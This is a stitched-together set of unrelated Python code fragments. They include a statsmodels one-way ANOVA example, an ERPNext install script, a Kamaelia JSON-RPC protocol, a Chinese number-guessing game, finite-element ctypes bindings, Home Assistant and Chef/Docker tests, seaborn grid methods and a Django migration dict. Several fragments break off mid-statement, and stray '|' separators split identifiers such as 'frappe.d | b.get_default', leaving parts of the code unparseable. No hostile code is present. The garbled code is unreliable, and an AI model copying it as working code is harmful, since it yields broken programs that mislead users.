print '\nLikelihood Ratio Test'
print 'likelihood ratio p-value df'
print res.lr_test()
print 'Null model: pooled all coefficients are the same across groups,'
print 'Alternative model: all coefficients are allowed to be different'
print 'not verified but looks close to f-test result'
print '\nOls parameters by group from individual, separate ols regressions'
for group in sorted(res.olsbygroup):
r = res.olsbygroup[group]
print group, r.params
print '\nCheck for heteroscedasticity, '
print 'variance and standard deviation for individual regressions'
print ' '*12, ' '.join('group %-10s' %(gr) for gr in res.unique)
print 'variance ', res.sigmabygroup
print 'standard dev', np.sqrt(res.sigmabygroup)
#get results for example
#-----------------------
print '\nTest for equality of coefficients for all exogenous variables'
print '-------------------------------------------------------------'
res = OneWayLS(y,x, groups=groupind.astype(int))
print_results(res)
print '\n\nOne way ANOVA, constant is the only regressor'
print '---------------------------------------------'
print 'this is the same as scipy.stats.f_oneway'
res = OneWayLS(y,np.ones(len(y)), groups=groupind)
print_results(res)
print '\n\nOne way ANOVA, constant is the only regressor with het is true'
print '--------------------------------------------------------------'
print 'this is the similar to scipy.stats.f_oneway,'
print 'but variance is not assumed to be the same across groups'
res = OneWayLS(y,np.ones(len(y)), groups=groupind, het=True)
print_results(res)
|
# Copyright (c) 2015, Frappe Technologies Pvt. Ltd. and Contributors
# License: GNU General Public License v3. See license.txt
from __future__ import unicode_literals
import frappe
from frappe import _
default_mail_footer = """<div style="padding: 7px; text-align: right; color: #888"><small>Sent via
<a style="color: #888" href="http://erpnext.org">ERPNext</a></div>"""
def after_install():
frappe.get_doc({'doctype': "Role", "role_name": "Analytics"}).insert()
set_single_defaults()
create_compact_item_print_custom_field()
from frappe.desk.page.setup_wizard.setup_wizard import add_all_roles_to
add_all_roles_to("Administrator")
frappe.db.commit()
def check_setup_wizard_not_completed():
if frappe.d | b.get_default('desktop:home_page') | == 'desktop':
print
print "ERPNext can only be installed on a fresh site where the setup wizard is not completed"
print "You can reinstall this site (after saving your data) using: bench --site [sitename] reinstall"
print
return False
def set_single_defaults():
for dt in frappe.db.sql_list("""select name from `tabDocType` where issingle=1"""):
default_values = frappe.db.sql("""select fieldname, `default` from `tabDocField`
where parent=%s""", dt)
if default_values:
try:
b = frappe.get_doc(dt, dt)
for fieldname, value in default_values:
b.set(fieldname, value)
b.save()
except frappe.MandatoryError:
pass
frappe.db.set_default("date_format", "dd-mm-yyyy")
def create_compact_item_print_custom_field():
from frappe.custom.doctype.custom_field.custom_field import create_custom_field
create_custom_field('Print Settings', {
'label': _('Compact Item Print'),
'fieldname': 'compact_item_print',
'fieldtype': 'Check',
'default': 1,
'insert_after': 'with_letterhead'
}) |
s either
# callback requests or callback notifications
def cb_request(arg_name, response_func, convert_args = False):
def cb_request_dec(func):
if not hasattr(func, '_callbacks_'):
func._callbacks_ = {}
if response_func:
func._callbacks_[arg_name] = ResponseCallback(response_func, convert_args)
else:
func._callbacks_[arg_name] = None
return func
return cb_request_dec
def cb_notification(arg_name):
return cb_request(arg_name, None)
class ResponseCallback(object):
def __init__(self, callback_func, convert_args = False):
'''if convert_args then convert a list, tuple or dict to args in standard jsonrpc way'''
self.callback_func = callback_func
self.convert_args = convert_args
class RequestOrNotification(object):
'If response_callback is None, then this is a notification'
def __init__(self, method, params = None, response_callback = None):
if response_callback: assert isinstance(response_callback, ResponseCallback)
self.method = method
self.params = params
self.response_callback = response_callback
class JsonRpcProtocol(object):
'Protocol Factory for JsonRpc over TCP'
def __init__(self, task_runner, id_prefix = 'server', debug = 0):
self.task_runner = task_runner
self.id_prefix = id_prefix
self.debug = debug
self.dispatch_table = {}
self.callback_table = defaultdict(dict) # try key on actual function
self.requests_on_connect = []
self.requests_on_connect_wait = None # id of request to wait for before sending next
self.requests_sent = {}
self._request_id_num = 1
self.connections = []
def get_request_id(self, request):
req_num = self._request_id_num
if self.id_prefix:
request_id = '%s-%s' % (self.id_prefix, req_num)
else:
request_id = req_num
assert isinstance(request, RequestOrNotification)
self.requests_sent[request_id] = request.response_callback
if request.response_callback:
self.add_callbacks(request.response_callback)
self._request_id_num += 1
return request_id
def add_callbacks(self, function):
if function in self.callback_table:
# already in callback table, so just return
return
if hasattr(function, '_callbacks_'): # 'response_callback'):
for arg_name, response_callback in function._callbacks_.items():
name = function.__name__
self.callback_table[function][arg_name] = response_callback
print 'Added callback for method %s, argument %s' % (name, arg_name)
try:
# args by position - offset needed for instance methods etc
offset = 1 if (hasattr(function, 'im_self') and function.im_self) else 0
arg_num = inspect.getargspec(function)[0].index(arg_name) - offset
self.callback_table[function][arg_num] = response_callback
print 'Added callback for method %s, arg_num %s' % (name, arg_num)
except ValueError:
print 'WARNING: unable to determine argument position for callback on method %s, argument %s.\n' \
'Automatic callback conversion will not occur if called by position.' % (name, arg_name)
def add_function(self, function, name = None):
if name is None:
name = function.__name__
if name in self.dispatch_table:
raise ValueError('rpc method %s already exists!' % name)
self.dispatch_table[name] = function
print 'Added rpc method %s' % name
self.add_callbacks(function)
def add_instance(self, instance, prefix = None):
'''Add all callable attributes of an instance not starting with '_'.
If prefix is none, then the rpc name is just <method_name>,
otherwise it is '<prefix>.<method_name>
'''
for name in dir(instance):
if name[0] != '_':
func = getattr(instance, name, None)
if type(func) == types.MethodType:
if prefix:
rpcname = '%s.%s' % (prefix, func.__name__)
else:
rpcname = func.__name__
self.add_function(func, name = rpcname)
def add_request_on_connect(self, req_or_notification, wait = True):
self.requests_on_connect.append( (req_or_notification, wait) )
def __call__(self, **kwargs):
if self.debug >= 1:
print 'Creating new Protocol Factory: ', str(kwargs)
connection = Graphline( SPLITTER = JsonSplitter(debug = self.debug, factory = self, **kwargs),
DESERIALIZER = Deserializer(debug = self.debug, factory = self, **kwargs),
DISPATCHER = Dispatcher(debug = self.debug, factory = self, **kwargs),
RESPONSESERIALIZER = ResponseSerializer(debug = self.debug, factory = self, **kwargs),
REQUESTSERIALIZER = RequestSerializer(debug = self.debug, factory = self, **kwargs),
FINALIZER = Finalizer(debug = self.debug, factory = self, **kwargs),
TASKRUNNER = self.task_runner,
linkages = { ('self', 'inbox') : ('SPLITTER', 'inbox'),
('self', 'request') : ('REQUESTSERIALIZER', 'request'),
('SPLITTER', 'outbox') : ('DESERIALIZER', 'inbox'),
('DESERIALIZER', 'outbox'): ('DISPATCHER', 'inbox'),
('DESERIALIZER', 'error'): ('RESPONSESERIALIZER', 'inbox'),
('DISPATCHER', 'outbox') : ('TASKRUNNER', 'inbox'),
('DISPATCHER', 'result_out') : ('RESPONSESERIALIZER', 'inbox'),
('DISPATCHER', 'request_out') : ('REQUESTSERIALIZER', 'request'),
('RESPONSESERIALIZER', 'outbox') : ('self', 'outbox'),
('REQUESTSERIALIZER', 'outbox'): ('self', 'outbox'),
('self', 'control') : ('SPLITTER', 'control'),
('SPLITTER', 'signal') : ('DESERIALIZER', 'control'),
('DESERIALIZER', 'signal'): ('DISPATCHER', 'control'),
('DISPATCHER', 'signal') : ('RESPONSESERIALIZER', 'control'),
('RESPONSESERIALIZER', 'signal') : ('REQUESTSERIALIZER', 'control'),
('REQUESTSERIALIZER', 'signal') : ('FINALIZER', 'control'),
('FINALIZER', 'signal') : ('self', 'signal'),
| ('DISPATCHER', 'wake_requester') : ('REQUESTSERIALIZER', 'control'),
} )
self.connections.append(connection)
return connection
class JsonSplitter(Axon.Component.component):
Inboxes = { 'inbox': 'accepts arbitrary (sequential) pieces of json stings',
'control': 'incoming shutdown requests' }
Outboxes = { 'outbox': ' | a single complete json string',
'signal': 'outgoing shutdown requests' }
def __init__(self, **kwargs):
super(JsonSplitter, self).__init__(**kwargs)
self.partial_data = ''
if self.debug >= 3: print 'Created %s' % repr(self)
def main(self):
while not self.shutdown():
if self.dataReady('inbox'):
data = self.recv('inbox')
if self.debug >= 4: print 'Got data: <<%s>>' % data
Json_strings, self.partial_data = json_s |
'''
笔记
for i in range(10):
#3次机会问一次
'''
age=22
c=0
while True:
if c<3:
cai=input("请输入要猜的年龄:")
if cai.isdigit(): #判断是否为整数
print("格式正确")
cai1=int(cai) #判断为整数把输入的变量变成int型
if cai1==age and c<3:
print("猜对了")
break
elif cai1>age and c<3:
print("猜大了")
c+=1
elif cai1<age and c<3:
print("猜小了")
c+=1
else: #判断是否为整数
print("输入格式不正确")
else:
p=input("次数用完,是否要继 | 续,继续请按:yes,不想继续请按no:")
if p=="yes":
c=0
cai=input("请输入要猜的年龄:")
if cai.isdigit(): #判断是否为整数
print("格式正确2")
cai1=int(cai) #判断为整数把输入的变量变成int型
if cai1==age and c<3:
print("猜对了")
| break
elif cai1>age and c<3:
print("猜大了")
c+=1
elif cai1<age and c<3:
print("猜小了")
c+=1
else: #判断是否为整数
print("输入格式不正确")
elif p=="no":
print("你选择了退出 bye bye")
break
|
import numpy as np
from ctypes import (
CDLL,
POINTER,
ARRAY,
c_void_p,
c_int,
byref,
c_double,
c_char,
c_char_p,
create_string_buffer,
)
from numpy.ctypeslib import ndpointer
import sys, os
prefix = {"win32": "lib"}.get(sys.platform, "lib")
extension = {"darwin": ".dylib", "win32": ".dll"}.get(sys.platform, ".so")
dir_lib = {"win32": "bin"}.get(sys.platform, "lib")
libcore = CDLL(os.path.join("build", dir | _lib, prefix + "core" + extension))
def set_assembleElementalMatrix2D_c_args(N):
"""
Assign function and set the input arguement types for a 2D elemental matrix
(in | t, int, int, c_double(N), c_double(N,N))
"""
f = libcore.assembleElementalMatrix2D_c
f.argtypes = [
c_int,
c_int,
c_int,
ndpointer(shape=(N, 2), dtype="double", flags="F"),
ndpointer(shape=(N, N), dtype="double", flags="F"),
]
f.restype = None
return f
def set_create_simple_array_c_args(N):
"""
Assign function and set arguement types of a simple array
"""
f = libcore.create_simple_array_c
f.argtypes = [ndpointer(shape=(N, N), dtype="double", flags="F")]
f.restype = None
return f
def set_assembleElementalMatrix1D_args(N):
"""
Assign function and set the input arguement types for a 1D elemental matrix
(int, int, int, c_double(N), c_double(N,N))
"""
f = libcore.assembleElementalMatrix1D_c
f.argtypes = [
c_int,
c_int,
c_int,
ndpointer(shape=(N,), dtype="double", flags="F"),
ndpointer(shape=(N, N), dtype="double", flags="F"),
]
f.restype = None
return f
def set_assemble1D_c_args(num_cells, num_pts_per_cell, num_pts):
"""
Assign function and set the input arguement types for assembling a full 1D
matrix
(int, int, int, c_double(N), c_double(N1,N2), c_double, c_double, c_double(N,N))
"""
f = libcore.assemble1D_c
f.argtypes = [
c_int,
c_int,
c_int,
ndpointer(shape=(num_pts,), dtype="double", flags="F"),
ndpointer(shape=(num_cells, num_pts_per_cell), dtype="int32", flags="F"),
c_double,
c_double,
ndpointer(shape=(num_pts, num_pts), dtype="double", flags="F"),
]
f.restype = None
return f
def set_assemble2D_c_args(num_cells, num_pts_per_cell, num_pts):
"""
Assign function and set the input arguement types for assembling a full 2D
matrix
(int, int, int, c_double(N), c_double(N,N))
"""
f = libcore.assemble2D_c
f.argtypes = [
c_int,
c_int,
c_int,
ndpointer(shape=(num_pts, 2), dtype="double", flags="F"),
ndpointer(shape=(num_cells, num_pts_per_cell), dtype="int32", flags="F"),
c_double,
ndpointer(shape=(2,), dtype="double", flags="F"),
ndpointer(shape=(num_pts, num_pts), dtype="double", flags="F"),
]
f.restype = None
return f
def set_pascal_single_row_args(N):
"""
Assign the arguments for arrays pascal rows
"""
f = libcore.pascal_single_row_c
f.argtypes = [
c_int,
c_double,
c_double,
ndpointer(shape=(N + 1,), dtype="double", flags="F"),
]
f.restype = None
return f
def set_pascal_2D_quad_c_args(N):
"""
Assign arguements for full (quadrilateral) pascal lines
"""
f = libcore.pascal_2D_quad_c
f.argtypes = [
c_int,
c_double,
c_double,
ndpointer(shape=((N + 1) ** 2,), dtype="double", flags="F"),
]
f.restype = None
return f
def pascal_2D_single_row(N, x, y):
xs = np.array([np.power(x, N - ii) for ii in range(N + 1)])
ys = np.array([np.power(y, ii) for ii in range(N + 1)])
return xs * ys
def pascal_2D_post_row(N, ii, x, y):
temp = pascal_2D_single_row(ii, x, y)
return temp[ii - N : N + 1]
def pascal_2D_total_row(N, x, y):
temp_pre = [pascal_2D_single_row(ii, x, y) for ii in range(N + 1)]
temp_post = [pascal_2D_post_row(N, ii, x, y) for ii in range(N + 1, 2 * N + 1)]
row = temp_pre + temp_post
return np.concatenate(row)
|
# Copyright (c | ) 2021, Frappe Technologies Pvt. Ltd | . and Contributors
# See license.txt
# import frappe
import unittest
class TestCampaign(unittest.TestCase):
pass
|
"""Make sure that existing Koogeek LS1 support isn't broken."""
from datetime import timedelta
from unittest import mock
from aiohomekit.exceptions import AccessoryDisconnectedError, EncryptionError
from aiohomekit.testing import FakePairing
import pytest
from homeassistant.components.light import SUPPORT_BRIGHTNESS, SUPPORT_COLOR
from homeassistant.helpers import device_registry as dr, entity_registry as er
import homeassistant.util.dt as dt_util
from tests.common import async_fire_time_changed
from tests.components.homekit_controller.common import (
Helper,
setup_accessories_from_file,
setup_test_accessories,
)
LIGHT_ON = ("lightbulb", "on")
async def test_koogeek_ls1_setup(hass):
"""Test that a Koogeek LS1 can be correctly setup in HA."""
accessories = await setup_accessories_from_file(hass, "koogeek_ls1.json")
config_entry, pairing = await setup_test_accessories(hass, accessories)
entity_registry = er.async_get(hass)
# Assert that the entity is correctly added to the entity registry
entry = entity_registry.async_get("light.koogeek_ls1_20833f")
assert entry.unique_id == "homekit-AAAA011111111111-7"
helper = Helper(
hass, "light.koogeek_ls1_20833f", pairing, accessories[0], config_entry
)
state = await helper.poll_and_get_state()
# Assert that the friendly name is detected correctly
assert state.attributes["friendly_name"] == "Koogeek-LS1-20833F"
# Assert that all optional features the LS1 supports are detected
assert state.attributes["supported_features"] == (
SUPPORT_BRIGHTNESS | SUPPORT_COLOR
)
device_registry = dr.async_get(hass)
device = device_registry.async_get(entry.device_id)
assert device.manufacturer == "Koogeek"
assert device.name == "Koogeek-LS1-20833F"
assert device.model == "LS1"
assert device.sw_version == "2.2.15"
assert device.via_device_id is None
@pytest.mark.parametrize("failure_cls", [AccessoryDisconnectedError, EncryptionError])
async def test_recover_from_failure(hass, utcnow, failure_cls):
"""
Test that entity actually recovers from a network connection drop.
See https://github.com/home-assistant/core/issues/18949
"""
accessories = await setup_accessories_from_file(hass, "koogeek_ls1.json")
config_entry, pairing = await setup_test_accessories(hass, accessories)
helper = Helper(
hass, "light.koogeek_ls1_20833f", pairing, accessories[0], config_entry
)
# Set light state on fake device to off
helper.characteristics[LIGHT_ON].set_value(False)
# Test that entity starts off in a known state
state = await helper.poll_and_get_state()
assert state.state == "off"
# Set light state on fake device to on
helper.characteristics[LIGHT_ON].set_value(True)
# Test that entity remains in the same state if there is a network error
next_update = dt_util.utcnow() + timedelta(seconds=60)
with mock.patch.object(FakePairing, "get_characteristics") as get_char:
get_char.side_effect = failure_cls("Disconnected")
state = await | helper.poll_and_get_state()
assert state.state == "off"
chars = get_char.call_args[0][0]
assert set(c | hars) == {(1, 8), (1, 9), (1, 10), (1, 11)}
# Test that entity changes state when network error goes away
next_update += timedelta(seconds=60)
async_fire_time_changed(hass, next_update)
await hass.async_block_till_done()
state = await helper.poll_and_get_state()
assert state.state == "on"
|
# Iterate over the data subsets
for (row_i, col_j, hue_k), data_ijk in self.facet_data():
# If this subset is null, move on
if not data_ijk.values.size:
continue
# Get the current axis
modify_state = not str(func.__module__).startswith("seaborn")
ax = self.facet_axis(row_i, col_j, modify_state)
# Decide what color to plot with
kwargs["color"] = self._facet_color(hue_k, kw_color)
# Insert the other hue aesthetics if appropriate
for kw, val_list in self.hue_kws.items():
kwargs[kw] = val_list[hue_k]
# Insert a label in the keyword arguments for the legend
if self._hue_var is not None:
kwargs["label"] = self.hue_names | [hue_k]
# Stick the facet dataframe into the kwargs
if self._dropna:
data_ijk = data_ijk.dropna()
kwargs["data"] = data_ijk
# Draw the plot
self._facet_plot(func, ax, args, kwargs)
# For axis labels, prefer to use positional args for backcompat
| # but also extract the x/y kwargs and use if no corresponding arg
axis_labels = [kwargs.get("x", None), kwargs.get("y", None)]
for i, val in enumerate(args[:2]):
axis_labels[i] = val
self._finalize_grid(axis_labels)
return self
def _facet_color(self, hue_index, kw_color):
color = self._colors[hue_index]
if kw_color is not None:
return kw_color
elif color is not None:
return color
def _facet_plot(self, func, ax, plot_args, plot_kwargs):
# Draw the plot
if str(func.__module__).startswith("seaborn"):
plot_kwargs = plot_kwargs.copy()
semantics = ["x", "y", "hue", "size", "style"]
for key, val in zip(semantics, plot_args):
plot_kwargs[key] = val
plot_args = []
plot_kwargs["ax"] = ax
func(*plot_args, **plot_kwargs)
# Sort out the supporting information
self._update_legend_data(ax)
def _finalize_grid(self, axlabels):
"""Finalize the annotations and layout."""
self.set_axis_labels(*axlabels)
self.tight_layout()
def facet_axis(self, row_i, col_j, modify_state=True):
"""Make the axis identified by these indices active and return it."""
# Calculate the actual indices of the axes to plot on
if self._col_wrap is not None:
ax = self.axes.flat[col_j]
else:
ax = self.axes[row_i, col_j]
# Get a reference to the axes object we want, and make it active
if modify_state:
plt.sca(ax)
return ax
def despine(self, **kwargs):
"""Remove axis spines from the facets."""
utils.despine(self._figure, **kwargs)
return self
def set_axis_labels(self, x_var=None, y_var=None, clear_inner=True, **kwargs):
"""Set axis labels on the left column and bottom row of the grid."""
if x_var is not None:
self._x_var = x_var
self.set_xlabels(x_var, clear_inner=clear_inner, **kwargs)
if y_var is not None:
self._y_var = y_var
self.set_ylabels(y_var, clear_inner=clear_inner, **kwargs)
return self
def set_xlabels(self, label=None, clear_inner=True, **kwargs):
"""Label the x axis on the bottom row of the grid."""
if label is None:
label = self._x_var
for ax in self._bottom_axes:
ax.set_xlabel(label, **kwargs)
if clear_inner:
for ax in self._not_bottom_axes:
ax.set_xlabel("")
return self
def set_ylabels(self, label=None, clear_inner=True, **kwargs):
"""Label the y axis on the left column of the grid."""
if label is None:
label = self._y_var
for ax in self._left_axes:
ax.set_ylabel(label, **kwargs)
if clear_inner:
for ax in self._not_left_axes:
ax.set_ylabel("")
return self
def set_xticklabels(self, labels=None, step=None, **kwargs):
"""Set x axis tick labels of the grid."""
for ax in self.axes.flat:
curr_ticks = ax.get_xticks()
ax.set_xticks(curr_ticks)
if labels is None:
curr_labels = [l.get_text() for l in ax.get_xticklabels()]
if step is not None:
xticks = ax.get_xticks()[::step]
curr_labels = curr_labels[::step]
ax.set_xticks(xticks)
ax.set_xticklabels(curr_labels, **kwargs)
else:
ax.set_xticklabels(labels, **kwargs)
return self
def set_yticklabels(self, labels=None, **kwargs):
"""Set y axis tick labels on the left column of the grid."""
for ax in self.axes.flat:
curr_ticks = ax.get_yticks()
ax.set_yticks(curr_ticks)
if labels is None:
curr_labels = [l.get_text() for l in ax.get_yticklabels()]
ax.set_yticklabels(curr_labels, **kwargs)
else:
ax.set_yticklabels(labels, **kwargs)
return self
def set_titles(self, template=None, row_template=None, col_template=None,
**kwargs):
"""Draw titles either above each facet or on the grid margins.
Parameters
----------
template : string
Template for all titles with the formatting keys {col_var} and
{col_name} (if using a `col` faceting variable) and/or {row_var}
and {row_name} (if using a `row` faceting variable).
row_template:
Template for the row variable when titles are drawn on the grid
margins. Must have {row_var} and {row_name} formatting keys.
col_template:
Template for the row variable when titles are drawn on the grid
margins. Must have {col_var} and {col_name} formatting keys.
Returns
-------
self: object
Returns self.
"""
args = dict(row_var=self._row_var, col_var=self._col_var)
kwargs["size"] = kwargs.pop("size", mpl.rcParams["axes.labelsize"])
# Establish default templates
if row_template is None:
row_template = "{row_var} = {row_name}"
if col_template is None:
col_template = "{col_var} = {col_name}"
if template is None:
if self._row_var is None:
template = col_template
elif self._col_var is None:
template = row_template
else:
template = " | ".join([row_template, col_template])
row_template = utils.to_utf8(row_template)
col_template = utils.to_utf8(col_template)
template = utils.to_utf8(template)
if self._margin_titles:
# Remove any existing title texts
for text in self._margin_titles_texts:
text.remove()
self._margin_titles_texts = []
if self.row_names is not None:
# Draw the row titles on the right edge of the grid
for i, row_name in enumerate(self.row_names):
ax = self.axes[i, -1]
args.update(dict(row_name=row_name))
title = row_template.format(**args)
text = ax.annotate(
title, xy=(1.02, .5), xycoords="axes fraction",
rotation=270, ha="left", va="center",
**kwargs
)
self._margin_titles_texts.append(text)
if self.col_names is not None:
# Draw the column titles as normal titles
for j, col_name in enumerate(self.col_names):
args.update(dict(col_name=col_name))
title = col_template.format(**args)
self.axes[0, j].set_title(title, **kwargs)
|
# -*- coding: utf-8 -*-
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations
# under the License.
""" Docker client tests"""
from __future__ import unicode_literals
import mock
import docker
from docker.errors import DockerException
from oslo_config import cfg
from validator.common.exception import DockerContainerException
import validator.tests.base as tb
from validator.clients.chef_client import ChefClient
CONF = cfg.CONF
CONF.import_group('clients_chef', 'validator.clients.chef_client_ssh')
class ChefClientTestCase(tb.ValidatorTestCase):
"""Docker Client unit tests"""
def setUp(self):
""" Create a docker client"""
super(ChefClientTestCase, self).setUp()
self.client = ChefClient()
CONF.set_override('cmd_test', "cmdtest {}", group='clients_chef')
CONF.set_override('cmd_install', "cmdinstall {}", group='clients_chef')
CONF.set_override('cmd_inject', "cmdinject {}", group='clients_chef')
CONF.set_override('cmd_launch', "cmdlaunch {}", group='clients_chef')
def test_create_client(self):
""" Test client creation"""
self.assertRaises(DockerException, ChefClient, 'fakeurl')
self.assertIsInstance(self.client.dc, docker.client.Client)
def test_run_container(self):
""" Test container deployment"""
self.assertRaises(DockerContainerException, self.client.run_container, "fakeimage")
self.client.dc = mock.MagicMock()
self.client.run_container('validimage')
self.client.dc.create_container.assert_called_once_with('validimage', name=u'validimage-validate', tty=True)
self.client.dc.start.assert_called_once_with(container=self.client.container)
def test_stop_container(self):
""" Test stopping and removing a container"""
self | .client.dc = self.m.CreateMockAnything()
self.client.dc.stop(self.client.container)
self.client.dc.remove_container(self.client.container)
self.m.ReplayAll()
self.client.remove_container()
self.m.VerifyAll()
def test_run_deploy(self):
self.client.execut | e_command = mock.MagicMock()
self.client.execute_command.return_value = "Alls good"
self.client.run_deploy("mycookbook")
obs = self.client.run_test("fakecookbook")
expected = "{'response': u'Alls good', 'success': True}"
self.assertEqual(expected, str(obs))
def test_run_install(self):
self.client.execute_command = self.m.CreateMockAnything()
self.client.container = "1234"
self.client.execute_command('cmdinstall fakecookbook').AndReturn("Alls good")
self.m.ReplayAll()
obs = self.client.run_install("fakecookbook")
expected = "{'response': u'Alls good', 'success': True}"
self.assertEqual(expected, str(obs))
self.m.VerifyAll()
def test_run_test(self):
self.client.execute_command = self.m.CreateMockAnything()
self.client.container = "1234"
self.client.execute_command('cmdtest fakecookbook').AndReturn("Alls good")
self.m.ReplayAll()
obs = self.client.run_test("fakecookbook")
expected = "{'response': u'Alls good', 'success': True}"
self.assertEqual(expected, str(obs))
self.m.VerifyAll()
def test_execute_command(self):
"""Test a command execution in container"""
self.client.dc = self.m.CreateMockAnything()
self.client.container = "1234"
self.client.dc.exec_create(cmd='/bin/bash -c "mycommand"', container=u'1234').AndReturn("validcmd")
self.client.dc.exec_start("validcmd").AndReturn("OK")
self.m.ReplayAll()
obs = self.client.execute_command("mycommand")
self.assertEqual("OK",obs)
self.m.VerifyAll()
def tearDown(self):
""" Cleanup environment"""
super(ChefClientTestCase, self).tearDown()
self.m.UnsetStubs()
self.m.ResetAll()
|
import itertools
import random
from hb_res.explanation_source import sources_registry, ExplanationSource
__author__ = 'moskupols'
ALL_SOURCES = sources_registry.sources_registered()
ALL_SOURCES_NAMES_SET = frozenset(sources_registry.names_registered())
all_words_list = []
words_list_by_source_name = dict()
for s in ALL_SOURCES:
li = list(s.explainable_words())
words_list_by_source_name[s.name] = li
all_words_list.extend(li)
all_words_set = frozenset(all_words_list)
SELECTED_SOURCE = sources_registry.source_for_name('Selected')
SELECTION_LEVELS = {'good', 'all'}
def _pick_sources_by_names(names):
if names is None:
sources_filtered = ALL_SOURCES
else:
if isinstance(names, str):
names = [names]
sources_filtered = list(map(sources_registry.source_for_name, names))
return sources_filtered
def get_explainable_words(sources=None):
"""
Returns an iterable of all words for which we have any explanation.
:return: iterable
"""
sources = _pick_sources_by_names(sources)
return itertools.chain(map(ExplanationSource.explainable_words, sources))
def get_random_word(*, sources_names=None, selection_level=None):
# assert sources_names is None or selection_level is None
if sources_names is None:
return random.choice(all_words_list
if selection_level == 'all'
else words_list_by_source_name['Selected'])
# If the user wants a sole specific asset, the task is straightforward
if not isinstance(sources_names, str) and len(sources_names) == 1:
sources_names = sources_names[0]
if isinstance(sources_names, str):
return random.choice(words_list_by_source_name[sources_names])
# otherwise we have to pick a uniformly random element from several lists,
# but we wouldn't like to join them, as they are long
lists = [words_list_by_source_name[name] for name in sources_names]
total = sum(map(len, lists))
rand = random.randrange(total)
upto = 0
for word_list in lists:
upto += len(word_list)
if rand < upto:
return word_list[rand - upto] # yep, negative indexation
assert False, 'Shouldn\'t get here'
|
def explain_list(word, sources_names=None):
"""
Returns list of tuples (Explanations, asset_name)
"""
if word not in all_w | ords_set:
return []
sources_filtered = _pick_sources_by_names(sources_names)
res = list()
for s in sources_filtered:
res.extend(zip(s.explain(word), itertools.repeat(s.name)))
random.shuffle(res)
return res
def explain(word, sources_names=None):
"""
Returns a tuple (Explanation, asset_name)
:param word: a russian noun in lowercase
:return: the explanation
"""
explanations = explain_list(word, sources_names)
return explanations[0] if len(explanations) else None
|
class DestinationNotFoundException(Exception):
pass
class InvalidDa | teFormat(Exce | ption):
pass |
ring': ('django.db.models.fields.CharField', [], {'max_length': '500', 'blank': 'True'}),
'publish_date': ('django.db.models.fields.DateTimeField', [], {'null': 'True', 'blank': 'True'}),
'short_url': ('django.db.models.fields.URLField', [], {'max_length': '200', 'null': 'True', 'blank': 'True'}),
'site': ('django.db.models.fields.related.ForeignKey', [], {'to': u"orm['sites.Site']"}),
'slug': ('django.db.models.fields.CharField', [], {'max_length': '2000', 'null': 'True', 'blank': 'True'}),
'status': ('django.db.models.fields.IntegerField', [], {'default': '2'}),
'title': ('django.db.models.fields.CharField', [], {'max_length': '500'}),
'updated': ('django.db.models.fields.DateTimeField', [], {'null': 'True'}),
'zip_import': ('django.db.models.fields.files.FileField', [], {'max_length': '100', 'blank': 'True'})
},
'album.imagecollectionimage': {
'Meta': {'ordering': "(u'_order',)", 'object_name': 'ImageCollectionImage'},
'_meta_title': ('django.db.models.fields.CharField', [], {'max_length': '500', 'null': 'True', 'blank': 'True'}),
'_order': ('django.db.models.fields.IntegerField', [], {'null': 'True'}),
'created': ('django.db.models.fields.DateTimeField', [], {'null': 'True'}),
'description': ('django.db.models.fields.TextField', [], {'blank': 'True'}),
'expiry_date': ('django.db.models.fields.DateTimeField', [], {'null': 'True', 'blank': 'True'}),
'file': ('mezzanine.core.fields.FileField', [], {'max_length': '200'}),
'gen_description': ('django.db.models.fields.BooleanField', [], {'default': 'True'}),
u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'image_collection': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'images'", 'to': "orm['album.ImageCollection']"}),
'in_sitemap': ('django.db.models.fields.BooleanField', [], {'default': 'True'}),
u'keywords_string': ('django.db.models.fields.CharField', [], {'max_length': '500', 'blank': 'True'}),
'publish_date': ('django.db.models.fields.DateTimeField', [], {'null': 'True', 'blank': 'True'}),
'short_url': ('django.db.models.fields.URLField', [], {'max_length': '200', 'null': 'True', 'blank': 'True'}),
'site': ('django.db.models.fields.related.ForeignKey', [], {'to': u"orm['sites.Site']"}),
'slug': ('django.db.models.fields.CharField', [], {'max_length': '2000', 'null': 'True', 'blank': 'True'}),
'status': ('django.db.models.fields.IntegerField', [], {'default': '2'}),
'title': ('django.db.models.fields.CharField', [], {'max_length': '500'}),
'updated': ('django.db.models.fields.DateTimeField', [], {'null': 'True'})
},
'faces.district': {
'Meta': {'object_name': 'District'},
'_meta_title': ('django.db.models.fields.CharField', [], {'max_length': '500', 'null': 'True', 'blank': 'True'}),
'created': ('django.db.models.fields.DateTimeField', [], {'null': 'True'}),
'description': ('django.db.models.fields.TextField', [], {'blank': 'True'}),
'district': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '100'}),
'district_description': ('django.db.models.fields.CharField', [], {'max_length': '255', 'null': 'True', 'blank': 'True'}),
'expiry_date': ('django.db.models.fields.DateTimeField', [], {'null': 'True', 'blank': 'True'}),
'gen_description': ('django.db.models.fields.BooleanField', [], {'default': 'True'}),
u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'in_sitemap': ('django.db.models.fields.BooleanField', [], {'default': 'True'}),
u'keywords_string': ('django.db.models.fields.CharField', [], {'max_length': '500', 'blank': 'True'}),
'publish_date': ('django.db.models.fields.DateTimeField', [], {'null': 'True', 'blank': 'True'}),
'short_url': ('django.db.models.fields.URLField', [], {'max_length': '200', 'null': 'True', 'blank': 'True'}),
'site': ('django.db.models.fields.related.ForeignKey', [], {'to': u"orm['sites.Site']"}),
'slug': ('django.db.models.fields.CharField', [], {'max_length': '2000', 'null': 'True', 'blank': 'True'}),
'status': ('django.db.models.fields.IntegerField', [], {'default': '2'}),
'title': ('django.db.models.fields.CharField', [], {'max_length': '500'}),
'updated': ('django.db.models.fields.DateTimeField', [], {'null': 'True'})
},
u'faces.face': {
'Meta': {'ordering': "(u'_order',)", 'object_name': 'Face'},
'_meta_title': ('django.db.models.fields.CharField', [], {'max_length': '500', 'null': 'True', 'blank': 'True'}),
'_order': ('django.db.models.fields.IntegerField', [], {'null': 'True'}),
